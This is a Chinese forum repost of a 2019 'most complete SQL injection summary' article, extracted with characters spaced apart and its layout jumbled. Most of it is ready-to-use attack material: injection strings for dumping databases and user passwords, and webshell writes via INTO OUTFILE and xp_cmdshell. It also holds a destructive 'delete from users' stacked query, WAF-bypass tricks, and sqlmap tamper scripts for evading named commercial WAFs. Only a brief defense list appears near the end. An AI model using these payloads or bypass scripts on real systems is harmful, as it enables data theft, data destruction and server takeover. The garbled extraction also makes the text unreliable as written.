搜索

[18496] 2019-11-11_科普基础这可能是最全的SQL注入总结，不来看看吗

文档创建者：s7ckTeam
浏览次数：20
最后更新：2025-01-18
2019-11-11_科普基础这可能是最全的SQL注入总结，不来看看吗 科 普 基 础   |   这 可 能 是 最 全 的 S Q L 注 入 总 结 ， 不 来 看 看 吗 原 创   素 念   H A C K 学 习 呀   2 0 1 9 - 1 1 - 1 1 0 x 0 1         S Q L 注 入 原 理 注 入 原 理 当 客 户 端 提 交 的 数 据 未 作 处 理 或 转 义 直 接 带 入 数 据 库 ， 就 造 成 了 s q l 注 入 。 攻 击 者 通 过 构 造 不 同 的 s q l 语 句 来 实 现 对 数 据 库 的 任 意 操 作 。 0 x 0 2         S Q L 注 入 的 分 类 注 入 的 分 类 按 变 量 类 型 分 ： 数 字 型 和 字 符 型 按 H T T P 提 交 方 式 分 ： P O S T 注 入 、 G E T 注 入 和 C o o k i e 注 入 按 注 入 方 式 分 ： 布 尔 注 入 、 联 合 注 入 、 多 语 句 注 入 、 报 错 注 入 、 延 时 注 入 、 内 联 注 入 按 数 据 库 类 型 分 ： 0 x 0 3         M y S Q L 与 与 M S S Q L 及 及 A C C E S S 之 间 的 区 别 之 间 的 区 别 1 . M y S Q L 5 . 0 以 下 没 有 i n f o r m a t i o n _ s c h e m a 这 个 默 认 数 据 库 2 . A C C E S S 没 有 库 名 ， 只 有 表 和 字 段 ， 并 且 注 入 时 ， 后 面 必 须 跟 表 名 ， A C C E S S 没 有 注 释 3 . M y S Q L 使 用 l i m i t 排 序 ， A C C E S S 使 用 T O P 排 序 （ T O P 在 M S S Q L 也 可 使 用 ）   0 x 0 4         判 断 三 种 数 据 库 的 语 句 判 断 三 种 数 据 库 的 语 句 0 x 0 5         基 本 手 工 注 入 流 程 基 本 手 工 注 入 流 程 1 . 判 断 注 入 点 s q l ： o r a c l e 、 m y s q l 、 m s s q l 、 a c c e s s 、 s q l i t e 、 p o s t g e r s q l n o s q l ： m o n g o d b 、 r e d i s 举 例 ： s e l e c t   1 , 2 , 3   f r o m   ` t a b l e _ n a m e `   u n i o n   s e l e c t   1 , 2 , 3   f r o m   ` t a b l e _ n a m e ` M y S Q L ： a n d   l e n g t h ( u s e r ( ) ) > 1 0 A C C E S S ： a n d   ( s e l e c t   c o u n t ( * ) f r o m   M S y s A c c e s s O b j e c t s ) > 0 M S S Q L ： a n d   ( s e l e c t   c o u n t ( * ) f r o m   s y s o b j e c t s ) > 0 数 字 型 ： i d = 2 - 1 字 符 型 ： '   、 ' ) 、   ' ) ) 、   " 、   " ) 、   " ) ) 注 释 符 ： - -   （ 这 是 - - 空 格 ） 、 - - + 、 / * * / 、 #
2 . 获 取 字 段 数 o r d e r   b y   二 分 法 联 合 查 询 字 段 数 ， 观 察 页 面 变 化 从 而 确 定 字 段 数 g r o u p   b y   译 为 分 组 ， 注 入 时 也 可 使 用 ， 不 过 我 没 用 过 3 . 查 看 显 示 位 尝 试 使 用 联 合 注 入 利 用 a n d   1 = 2 或 a n d   0 及 i d = - 1 2 查 看 显 示 数 据 的 位 置 替 换 显 示 位 改 成 S Q L 语 句 ， 查 看 信 息 （ 当 前 数 据 库 ， 版 本 及 用 户 名 ） 再 查 询 所 有 数 据 库 查 询 所 有 表 名 查 询 所 有 字 段 名 查 询 字 段 内 容 如 ： 查 询 t e s t 库 下 u s e r s 表 的 i d 及 u n a m e 字 段 ， 用 ' ~ ' 区 分 i d 和 u n a m e 以 防 字 符 连 接 到 一 起 0 x 0 6         报 错 注 入 报 错 注 入 通 用 报 错 语 句 ： （ 测 试 版 本 M y S Q L 8 . 0 . 1 2 ， M y S Q L 5 . 0 ， m a r i a d b 5 . 5 版 本 下 ） 相 关 连 接 :       h t t p s : / / w w w . c n b l o g s . c o m / w o c a l i e s h e n m e g u i / p / 5 9 1 7 9 6 7 . h t m l P O S T 中 的 报 错 注 入 o r d e r   b y   1 o r d e r   b y   5 0 a n d   1 = 2   u n i o n   s e l e c t   v e r s i o n ( ) , 2 , 3 a n d   1 = 2   u n i o n   s e l e c t   ( s e l e c t   g r o u p _ c o n c a t ( s c h e m a _ n a m e ) f r o m   i n f o r m a t i o n   s c h e m a . s c h e m a t a ) , 2 , 3 u n i o n   s e l e c t   ( s e l e c t   g r o u p _ c o n c a t ( t a b l e _ n a m e ) f r o m   i n f o r m a t i o n _ s c h e m a . t a b l e s ) , 2 , 3 u n i o n   s e l e c t   ( s e l e c t   g r o u p _ c o n c a t ( c o l u m n _ n a m e ) f r o m   i n f o r m a t i o n _ s c h e m a . c o l u m n s ) , 2 , 3 u n i o n   s e l e c t ( s e l e c t   g r o u p _ c o n c a t ( i d , ' ~ ' , u n a m e ) f r o m   t e s t . u s e r s ) , 2 , 3 s e l e c t   *   f r o m   t e s t   w h e r e   i d = 1   a n d   ( e x t r a c t v a l u e ( 1 , c o n c a t ( 0 x 7 e , ( s e l e c t   u s e r ( ) ) , 0 x 7 e ) ) ) ; s e l e c t   *   f r o m   t e s t   w h e r e   i d = 1   a n d   ( u p d a t e x m l ( 1 , c o n c a t ( 0 x 7 e , ( s e l e c t   u s e r ( ) ) , 0 x 7 e ) , 1 ) ) ;
  0 x 0 7         布 尔 盲 注 布 尔 盲 注 我 在 盲 注 中 常 用 的 函 数 ： 1 . c h a r ( )   解 A S C I I 码 2 . m i d ( ) 截 取 字 符 串 3 . s u b s t r ( ) 与 m i d ( ) 相 同 ， 都 为 截 取 字 符 串 4 . c o u n t ( ) 计 算 查 询 结 果 的 行 数 5 . c o n c a t ( ) 查 询 结 果 合 并 但 保 持 原 有 行 数 6 . g r o u p _ c o n c a t ( ) 查 询 结 果 合 并 但 都 放 在 一 行 中 7 . a s c i i ( )   查 询 a s c i i 码 猜 数 据 库 长 度 ( 利 用 二 分 法 ) 猜 第 一 个 字 符 ， 第 二 个 字 符 ， 以 此 类 推 查 询 当 前 数 据 库 中 所 有 表 名 查 询 第 一 个 表 的 长 度 查 询 表 的 第 一 个 字 符 查 询 a t e l i e r 表 里 有 几 个 字 段 查 询 第 一 个 字 段 长 度 查 询 字 段 第 一 个 字 符 查 询 字 段 所 有 行 数 查 询 字 段 名 的 行 数 （ 查 询 e m a i l s 表 ， u n a m e 字 段 ） 查 询 字 段 内 容 将 查 询 到 的 A S C I I 码 放 到 m y s q l 中 查 询 举 例 ： s e l e c t   c h a r ( 3 9 ) ; 举 例 ： m i d ( ' h e l l o ' , 1 , 3 ) ， 从 第 1 位 开 始 截 取 3 位 ， 输 出 位 h e l i d = 1   a n d   ( l e n g t h ( d a t a b a s e ( ) ) ) > 1 i d = 1   a n d   ( l e n g t h ( d a t a b a s e ( ) ) ) > 5 0 a n d   a s c i i ( m i d ( d a t a b a s e ( ) , 1 , 1 ) ) > 1 a n d   a s c i i ( m i d ( d a t a b a s e ( ) , 2 , 1 ) ) > 1 a n d   ( s e l e c t   c o u n t ( t a b l e _ n a m e ) f r o m   i n f o r m a t i o n _ s c h e m a . t a b l e s   w h e r e   t a b l e s _ s c h e m a = d a t a b a s e ( ) ) > 1 a n d   ( s e l e c t   c o u n t ( t a b l e _ n a m e ) f r o m   i n f o r m a t i o n _ s c h e m a . t a b l e s   w h e r e   t a b l e s _ s c h e m a = d a t a b a s e ( ) ) > 1 0 a n d   ( s e l e c t   l e n g t h ( t a b l e _ n a m e ) f r o m   i n f o r m a t i o n _ s c h e m a . t a b l e s   w h e r e   t a b l e s _ s c h e m a = d a t a b a s e ( ) l i m i t   0 , 1 ) > 1 0 a n d   a s c i i ( m i d ( ( s e l e c t   t a b l e _ n a m e   f r o m   i n f o r m a t i o n _ s c h e m a . t a b l e s   w h e r e   t a b l e _ s c h e m a = d a t a b a s e ( ) l i m i t   0 , 1 ) , 1 , 1 ) ) > 1 a n d ( s e l e c t   c o u n t ( c o l u m n _ n a m e ) f r o m   i n f o r m a t i o n _ s c h e m a . c o l u m n s   w h e r e   t a b l e _ n a m e   =   ' a t e l i e r '   a n d   t a b l e _ s c h e m a   =   d a t a b a s e ( ) ) > 2 a n d   l e n g t h ( ( s e l e c t   c o l u m n _ n a m e   f r o m   i n f o r m a t i o n _ s c h e m a . c o l u m n s   w h e r e   t a b l e _ n a m e = ' a t e l i e r '   a n d   t a b l e _ s c h e m a =   d a t a b a s e ( ) l i m i t a n d   a s c i i ( m i d ( ( s e l e c t   c o l u m n _ n a m e   f r o m   i n f o r m a t i o n _ s c h e m a . c o l u m n s   w h e r e   t a b l e _ s c h e m a   =   ' d b 8 3 2 3 1 _ a s f a a '   a n d   T A B L E _ N A M E   = ' a t e l i e r ' a n d   ( s e l e c t   c o u n t ( * )   f r o m   d b 8 3 2 3 1 _ a s f a a . a t e l i e r ) > 4 a n d   ( s e l e c t   c o u n t ( u n a m e ) f r o m   s e c u r i t y . e m a i l s ) > 7     查 询 u n a m e 的 行 数 l e n g t h ( ( s e l e c t   u s e r n a m e   f r o m   s e c u r i t y . u s e r s   l i m i t   0 , 1 ) ) > 1 0 a s c i i ( m i d ( ( s e l e c t   u s e r n a m e   f r o m   s e c u r i t y . u s e r   l i m i t   0 , 1 ) , 1 , 1 ) ) > 1 0 0
0 x 0 8         延 时 盲 注 延 时 盲 注 利 用 s l e e p ( 3 ) 和 i f ( 1 = 2 , 1 , 0 ) 及 c a s e 进 行 延 时 注 入 ， 示 例 ： 这 个 没 什 么 好 说 的 如 果 长 度 大 于 1 0 ， 则 睡 3 秒 ， 其 他 则 0 秒 c a s e 定 义 条 件 ， w h e n   后 面 的 1 表 示 t u r e 也 代 表 真 ， 当 条 件 为 真 时 ， 睡 3 秒 ， 其 他 则 0 秒 。 0 x 0 9         多 语 句 注 入 多 语 句 注 入 多 语 句 意 思 就 是 可 以 执 行 多 个 语 句 ， 利 用 分 号 进 行 隔 开 0 x 1 0         内 联 注 入 内 联 注 入 利 用 别 名 ： 0 x 1 1         g e t s h e l l 也 可 使 用 d u m p f i l e 进 行 写 入 o u t f i l e 和 d u m p f i l e 的 区 别 ： s e l e c t   *   f r o m   u s e r   w h e r e   i d = ' 1 '   o r   s l e e p ( 3 )   % 2 3 s e l e c t   *   f r o m   u s e r   w h e r e   i d =   1   a n d   i f ( l e n g t h ( v e r s i o n ( ) ) > 1 0 , s l e e p ( 3 ) , 0 ) ; s e l e c t   *   f r o m   u s e r   w h e r e   i d =   1   a n d   c a s e   l e n g t h ( v e r s i o n ( ) ) > 1 0   w h e n   1   t h e n   s l e e p ( 3 )   e l s e   0   e n d ; 示 例 ： i d = 1 " ; W A I T F O R   D E L A Y   ' 0 : 0 : 3 ' ; d e l e t e   f r o m   u s e r s ;   - - + i d = 1 ' ; s e l e c t   i f ( l e n g t h ( u s e r ( ) , 1 , 1 ) > 1 , s l e e p ( 3 ) , 1 )   % 2 3 ' ; s e l e c t   i f ( l e n g t h ( ( s e l e c t   t a b l e _ n a m e   f r o m   i n f o r m a t i o n _ s c h e m a . t a b l e s   w h e r e   t a b l e _ s c h e m a = d a t a b a s e ( )   l i m i t   0 , 1 ) , 1 , 1 ) > 1 , s l e e p ( 3 ) , 1 )   % 2 3 举 例 ： i d = - 1   / * ! U N I O N * /   / * ! S E L E C T * /   1 , 2 , 3 u n i o n   s e l e c t   1 , 2 , 3 , 4 , a . i d , b . i d , *   f r o m ( s y s _ a d m i n   a s   a   i n n e r   j o i n   s y s _ a d m i n   a s   b   o n   a . i d = b . i d ) i d = - 1 '   u n i o n   s e l e c t   1 , 2 , ( s e l e c t   ' < ? p h p   @ e v a l ( $ _ P O S T [ 1 ] ) ; ? > '   i n t o   o u t f i l e   ' / v a r / w w w / h t m l / 4 0 4 . p h p ' )   - - +
o u t f i l e 适 合 导 库 ， 在 行 末 尾 会 写 入 新 行 并 转 义 ， 因 此 不 能 写 入 二 进 制 可 执 行 文 件 。 d u m p f i l e 只 能 执 行 一 行 数 据 。 数 据 库 写 入 ： 0 x 1 2         宽 字 节 注 入 宽 字 节 注 入 当 编 码 位 g b k 时 ， % d f % 2 7 或 % 8 1 % 2 7 数 据 为 空 就 是 说 客 户 端 发 送 的 数 据 编 码 为 g b k 时 ， 那 么 可 能 会 吃 掉 转 义 字 符 反 斜 杠 ， 闭 合 之 后 页 面 恢 复 正 常 ， 存 在 宽 字 节 注 入 测 试 出 来 就 可 以 使 用 s q l m a p 跑 了 ， 2 3 3 3 3 加 * 构 造 注 入 点 （ 比 - p 更 稳 定 ） ， 让 s q l m a p 对 构 造 注 入 点 进 行 注 入 攻 击 （ * 优 先 级 更 高 ） 宽 字 节 防 御 ： 第 1 0 行 代 码 必 须 和 第 2 4 行 必 须 同 时 使 用 ， 要 么 就 更 换 编 码 格 式 0 x 1 3         二 次 编 码 注 入 二 次 编 码 注 入 代 码 中 有 u r l d e c o d e ( )         函 数 % 2 5 2 7         先 解 码 成 % 2 7 再 解 码 成 ' 单 引 号 - p r e f i x 为 设 置 前 缀         - s u f f i x 为 设 置 后 缀 设 置 后 缀 ， 防 止 s q l m a p 使 用 内 联 注 使 用 自 带 的 脚 本 进 行 注 入 c h a r d o u b l e e n c o d e . p y 0 x 1 4         图 片 上 传 图 片 上 传 s q l 注 入 注 入 e x e c   m a s t e r . . x p _ c m d s h e l l   ' e c h o   " < % e X E C u t e g L o b a L   r E q u E s t ( 0 ) % > "   >   " c : w w w u p l o a d F i l e s 2 0 1 9 - 1 1 4 0 4 . a s p " ' s q l m a p   - u   h t t p : / / 1 9 2 . 1 6 8 . 1 0 0 . 1 4 1 / i n d e x . p h p / a u t h o r = 1 2 3   - - p r e f i x   " % 2 5 2 7 "   - - s u f f i x   " % 2 3 "
猜 结 构 ， 为 时 间 戳 加 文 件 名 替 换 a n d   s l e e p ( 3 )   为 * 进 行 s a l m a p 0 x 1 5         二 次 注 入 二 次 注 入 a b c '   数 据 经 过 a d d s l a s h e s 过 滤 ， 单 引 号 前 面 添 加 反 斜 杠 a b c ' ， 但 传 到 数 据 库 的 数 据 还 是 a b c ' 假 如 在 如 下 场 景 中 ， 我 们 浏 览 一 些 网 站 的 时 候 ， 可 以 现 在 注 册 见 页 面 注 册 u s e r n a m e = t e s t ' ， 接 下 来 访 问 x x x . p h p ? u s e r n a m e = t e s t ' ， 页 面 返 回 i d = 2 2 ； 接 下 来 再 次 发 起 请 求 x x x . p h p ? i d = 2 2 ， 这 时 候 就 有 可 能 发 生 s q l 注 入 ， 比 如 页 面 会 返 回 M y S Q L 的 错 误 。 访 问 x x x . p h p ? i d = t e s t '   u n i o n   s e l e c t   1 , u s e r ( ) , 3 % 2 3 ， 获 得 新 的 i d = 4 0 ， 得 到 u s e r ( ) 的 结 果 ， 利 用 这 种 注 入 方 式 会 得 到 数 据 库 中 的 值 。 0 x 1 6         X F F 头 注 入 头 注 入 i d 根 据 网 站 用 户 量 取 一 个 中 间 值 ， 测 试 是 否 有 注 入 ， 利 用 插 件 设 置 X F F 头 ， 如 果 网 站 不 报 错 ， 可 尝 试 此 注 入 X - F o r w a r d - F o r ： 1 2 7 . 0 . 0 . 1 '   s e l e c t   1 , 2 , u s e r ( ) u p d a t e   u s e r   s e t   l o a t _ l o g i n i p   =   ' 8 . 8 . 8 . 8 '   w h e r e   i d   = 1   a n d   s l e e p ( 5 )   # '   w h e r e   u s e r n a m e   =   ' z s ' ;
0 x 1 7       U s e r - A g e n t 请 求 头 注 入 请 求 头 注 入 0 x 1 8         D N S 外 带 日 志 示 例 外 带 日 志 示 例 外 带 平 台   ： x i p . i o           c e y e . i o M S S Q L 查 询 当 前 数 据 库 M y S Q L 查 询 数 据 库 版 本
0 x 1 9         常 用 过 常 用 过 W A F 技 巧 技 巧 1 . 特 征 字 符 大 小 写 （ 基 本 没 用 ） 2 . 内 联 注 释 3 . 特 殊 字 符 代 替 空 格 4 . 等 价 函 数 和 逻 辑 符 号 5 . 特 殊 符 号 6 . 关 键 字 拆 分 7 . 加 括 号 绕 过 小 括 号 花 括 号 8 . 过 滤 a n d 和 o r 下 的 盲 注 9 . 白 名 单 绕 过 拦 截 信 息 ： 绕 过 ： 1 0 . H T T P 参 数 控 制 （ 1 ） H P P （ H T T P   P a r m e t e r   P o l u t i o n ） （ 重 复 参 数 污 染 ） 举 例 ： U n I o N   S e L c T   1 , 2 , 3 i d = - 1 / * ! U N I O N * / % 2 0 / / * ! S E L E C T * / % 2 0 1 , 2 , 3 % 0 9   t a b 键 ( 水 平 ) 、 % 0 a   换 行 、 % 0 c   新 的 一 页 % 0 d   r e t u r n 功 能 、 % 0 b   t a b 键 ( 垂 直 ) 、 % a 0 空 格 h e x ( ) 、 b i n ( ) = = > a s c i i ( ) s l e e p ( ) = = > b e n c h m a r k ( ) c o n c a t _ w s ( ) = = > g r o u p _ c o n c a t ( ) m i d ( ) 、 s u b s t r ( ) = = > s u b s t r i n g ( ) @ @ v e r s i o n = = > v e r s i o n ( ) @ @ d a t a d i r = = > d a t a d i r ( ) 逻 辑 符 号 ： 如 a n d 和 o r 不 能 使 用 时 ， 尝 试 & & 和 | | 双 管 道 符 。 反 引 号 ， s e l e c t   ` v e r s i o n ( ) ` ， 绕 过 空 格 和 正 则 加 号 和 点 ， " + " 和 " . " 代 表 连 接 ， 也 可 绕 过 空 格 和 关 键 字 过 滤 @ 符 号 ， 用 于 定 义 变 量 ， 一 个 @ 代 表 用 户 变 量 ， @ @ 代 表 系 统 变 量 ' s e ' + ' l e c ' + ' t ' % S % E % L % C % T   1 , 2 , 3 ? i d = 1 ; E X E C ( ' m a ' + ' s t e r . . x ' + ' p _ c m ' + ' d s h ' + ' e l l " n e t   u s e r " ' ) ! 和 ( ) ： ' o r - - + 2 = - - ! ! ! ' 2 i d = 1 + ( U n I ) ( o N ) + ( S e L ) ( E c T ) u n i o n   ( s e l e c t + 1 , 2 , 3 + f r o m + u s e r s ) % 2 3 u n i o n ( s e l e c t ( 1 ) , ( 2 ) , ( 3 ) f r o m ( u s e r s ) ) i d = ( 1 ) o r ( 0 x 5 0 = 0 x 5 0 ) i d = ( - 1 ) u n i o n ( ( ( ( ( ( ( s e l e c t ( 1 ) , h e x ( 2 ) , h e x ( 3 ) f r o m ( u s e r s ) ) ) ) ) ) ) ) s e l e c t { x   u s e r } f r o m { x   m y s q l . u s e r } i d = - 1   u n i o n   s e l e c t   1 , { x   2 } , 3 i d = s t r c m p ( l e f t ( ( s e l e c t % 2 0 u s e r n a m e % 2 0 f r o m % 2 0 u s e r s % 2 0 l i m i t % 2 0 0 , 1 ) , 1 ) , 0 x 4 2 ) % 2 3 i d = s t r c m p ( l e f t ( ( s e l e c t + u s e r n a m e + f r o m + l i m i t + 0 , 1 ) , 1 , 0 x 4 2 ) % 2 3 G E T   / p e n / n e w s . p h p ? i d = 1   u n i o n   s e l e c t   u s e r , p a s s w o r d   f r o m   m y s q l . u s e r G E T   / p e n / n e w s .   p h p / a d m i n ? i d = 1   u n i o n   s e l e c t   u s e r , p a s s w o r d   f r o m   m y s q l .   u s e r G E T   / p e n / a d m i n / . . n e w s .   p h p ? i d = 1   u n i o n   s e l e c t   u s e r , p a s s w o r d   f r o m   m y s q l .   u s e r
H P P 又 称 作 重 复 参 数 污 染 ， 最 简 单 的 是 ? u i d = 1 & u i d = 2 & u i d = 3 ， 对 于 这 种 情 况 ， 不 用 的 w e b 服 务 器 处 理 方 式 不 同 。 具 体 W A F 如 何 处 理 ， 要 看 设 置 的 规 则 ， 不 过 示 例 中 最 后 一 个 有 较 大 可 能 绕 过 （ 2 ） H P F （ H T T P   P a r m e t e r   F r a g m e n t ） （ H T T P 分 割 注 入 ） H T T P 分 割 注 入 ， 同 C R L F 有 相 似 之 处 （ 使 用 控 制 字 符 % 0 a 、 % 0 d 等 执 行 换 行 ） 举 例 ： 0 x 2 0         S Q L 注 入 防 御 注 入 防 御 1 . 对 用 户 输 入 的 内 容 进 行 转 义 2 . 限 制 关 键 字 的 输 入 ， 如 单 引 号 、 双 引 号 、 右 括 号 等 ， 限 制 输 入 的 长 度 3 . 使 用 S Q L 语 句 预 处 理 ， 对 S Q L 语 句 进 行 预 编 译 ， 然 后 进 行 参 数 绑 定 ， 最 后 传 入 参 数 4 . 添 加 W A F ， 防 火 墙 等 拓 展 阅 读 ： 拓 展 阅 读 ： s q l m a p   b y p a s s   D 盾   t a m p e r s q l m a p   b y p a s s   云 锁   t a m p e r i n d e x . p h p ? i d = 1   u n i o n   s e l e c t   u s e r n a m e , p a s s w o r d   f r o m   u s e r s i n d e x . p h p ? i d = 1 / * * / u n i o n / * & i d = * / s e l e c t / * & i d = * / u s e r n a m e . p a s s w o r d / * & i d = * / f r o m / * & i d = * / u s e r s / ? a = 1 + u n i o n / * & b = * / s e l e c t + 1 , p a s s / * & c = * / f r o m + u s e r s - - s e l e c t   *   f r o m   t a b l e   w h e r e   a = 1   u n i o n / *   a n d   b = * / s e l e c t   1 , p a s s / *   l i m i t   * / f r o m   u s e r s — # ! / u s r / b i n / e n v   p y t h o n f r o m   l i b . c o r e . e n u m s   i m p o r t   P R I O R I T Y _ _ p r i o r i t y _ _   =   P R I O R I T Y . L O W d e f   d e p e n d e n c i e s ( ) :         p a s s d e f   t a m p e r ( p a y l o a d ,   * * k w a r g s ) :         " " "                         B Y P A S S   D d u n         " " "         r e t V a l   =   p a y l o a d         i f   p a y l o a d :                   r e t V a l   =   " "                   q u o t e ,   d o u b l e q u o t e ,   f i r s t s p a c e   =   F a l s e ,   F a l s e ,   F a l s e                 f o r   i   i n   x r a n g e ( l e n ( p a y l o a d ) ) :                         i f   n o t   f i r s t s p a c e :                                 i f   p a y l o a d [ i ] . i s s p a c e ( ) :                                         f i r s t s p a c e   =   T r u e                                         r e t V a l   + =   " / * D J S A W W % 2 B % 2 6 L t % 3 B % 2 B * / "                                         c o n t i n u e                         e l i f   p a y l o a d [ i ]   = =   ' ' ' :                                 q u o t e   =   n o t   q u o t e                         e l i f   p a y l o a d [ i ]   = =   ' " ' :                                 d o u b l e q u o t e   =   n o t   d o u b l e q u o t e                         e l i f   p a y l o a d [ i ]   = =   "   "   a n d   n o t   d o u b l e q u o t e   a n d   n o t   q u o t e :                                 r e t V a l   + =   " / * D J S A W W % 2 B % 2 6 L t % 3 B % 2 B * / "                                 c o n t i n u e                         r e t V a l   + =   p a y l o a d [ i ]         r e t u r n   r e t V a l
安 全 狗 最 新 版 B y p a s s   |   附 s q l m a p   t a m p e r 脚 本 s q l m a p _ 修 改 t a m p e r 脚 本 _ 绕 过 W A F 并 制 作 通 杀 0 d a y # ! / u s r / b i n / e n v   p y t h o n " " " C o p y r i g h t   ( c )   2 0 0 6 - 2 0 1 9   s q l m a p   d e v e l o p e r s   ( h t t p : / / s q l m a p . o r g / ) S e e   t h e   f i l e   ' L I C E N S E '   f o r   c o p y i n g   p e r m i s s i o n " " " i m p o r t   r e f r o m   l i b . c o r e . d a t a   i m p o r t   k b f r o m   l i b . c o r e . e n u m s   i m p o r t   P R I O R I T Y f r o m   l i b . c o r e . c o m m o n   i m p o r t   s i n g l e T i m e W a r n M e s s a g e f r o m   l i b . c o r e . e n u m s   i m p o r t   D B M S _ _ p r i o r i t y _ _   =   P R I O R I T Y . L O W d e f   d e p e n d e n c i e s ( ) :         p a s s d e f   t a m p e r ( p a y l o a d ,   * * k w a r g s ) :                   p a y l o a d = p a y l o a d . r e p l a c e ( ' O R D E R ' , ' / * ! 0 0 0 0 0 o r d e r * / ' )                   p a y l o a d = p a y l o a d . r e p l a c e ( ' A L L   S E L E C T ' , ' / * ! 0 0 0 0 0 a l l * /   / * ! 0 0 0 0 0 s e l e c t ' )                   p a y l o a d = p a y l o a d . r e p l a c e ( ' C O N C A T ( ' , " C O N C A T / * * / ( " )                   p a y l o a d = p a y l o a d . r e p l a c e ( " - - " , "   * / - - " )                   p a y l o a d = p a y l o a d . r e p l a c e ( " A N D " , " % 2 6 % 2 6 " )                   r e t u r n   p a y l o a d
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理